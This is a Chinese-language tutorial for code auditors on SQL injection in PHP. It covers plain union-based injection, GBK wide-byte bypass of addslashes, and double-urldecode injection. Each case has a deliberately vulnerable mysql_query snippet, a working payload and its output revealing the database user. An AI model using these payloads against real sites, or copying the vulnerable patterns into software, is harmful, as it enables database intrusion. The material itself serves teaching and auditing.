SQL注入经常出现在登录页面,HTTP头(user-agent/client-ip/cookies等),订单处理等地方,在发生多个交互的地方经常会发生二次注入。
普通注入
$uid = $_GET[‘id’];
$sql = “select * from user where id=$uid”;
$conn = mysql_connect(“localhost”,”root”,””);
$sel = mysql_select_db(“test123”,$conn);
$result = mysql_query($sql,$conn);
普通注入有int型和string型,在string型中需要用到单引号或双引号闭合
在这里变量并没有被单引号所保护,我们可以直接构造一条sql语句来进行列猜解
-
后半部分使用union select查询的列数与数据库中列数不匹配的话(表结构不同)会导致报错(The used SELECT statements have a different number of columns)1 union select 1,2,3
-
这个时候查询的列数与数据库中使用表的列数相同,则会返回所查询的值,这样就完成了列猜解。1 union select 1,user(),3,4
结果:Array ( [0] => 1 [1] => root@localhost [2] => 2 [3] => 3 )
编码注入
通过输入转码函数不兼容的特殊字符,可以导致输出的字符变成有害数据(在SQL注入里,最常见的编码注入是Mysql宽字节以及urldecode/rawurldecode)
$conn = mysql_connect(“localhost”,”root”,””);
mysql_select_db(“test123”,$conn);
mysql_query(“SET NAMES ‘gbk'”,$conn);
$uid = addslashes($_GET[‘id’]);
$sql = “select * from userinfo where id=’$uid'”;
$result = mysql_query($sql,$conn);
print_r(‘当前查询语句:’.$sql.'<br />结果:’);
print_r(mysql_fetch_row($result));
在这里我们可以看到使用了mysql_query设置了数据库的编码为gbk,并且使用了addslashes针对变量id进行保护
-
使用%df将addslashes的\合并成字符,这时后面的单引号就会将前面的单引号合并,–+将最后面的引号注释掉,中间的union select得以执行。%df’ union select 1,2,3,4 –+
当前查询语句:
select * from userinfo where id=’�\\\’ union select 1,2,3,4#’
结果:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
二次urldecode注入
现在的web程序大多会进行参数过滤,大多通常使用addslashes(),mysql_real_escape_string(),mysql_escape_string()函数或者开启GPC的方式来防止注入,也就是给* ‘ ” \和NULL加上反斜杠进行转义,如果某处使用了urldecode或者rawurldecode函数,将会导致二次解码生成单引号而引发注入。
原理:
假设目标开启了GPC的情况下,提交参数为1%2527的payload,因为第一次解码没有单引号,addslashes不会进行转义,导致%25生成字符%,第二次进行解析的时候将会把%27解析成单引号造成闭合。
$conn = mysql_connect(“localhost”,”root”,””);
mysql_select_db(“test123”,$conn);
$b = addslashes($_GET[‘id’]);
$uid = urldecode($b);
$sql = “select * from userinfo where id=’$uid'”;
$result = mysql_query($sql,$conn);
print_r(‘当前查询语句:’.$sql.'<br />结果:’);
print_r(mysql_fetch_row($result));
- 此处可以构造语句
针对单引号进行闭合%2527%20union%20select%201,user(),3,4%2523
当前查询语句:
select * from userinfo where id=” union select 1,user(),3,4#’
结果:Array ( [0] => 1 [1] => root@localhost [2] => 3 [3] => 4 )
如此就可以通过搜索urldecode和rawurldecode函数来挖掘二次urldecode注入漏洞。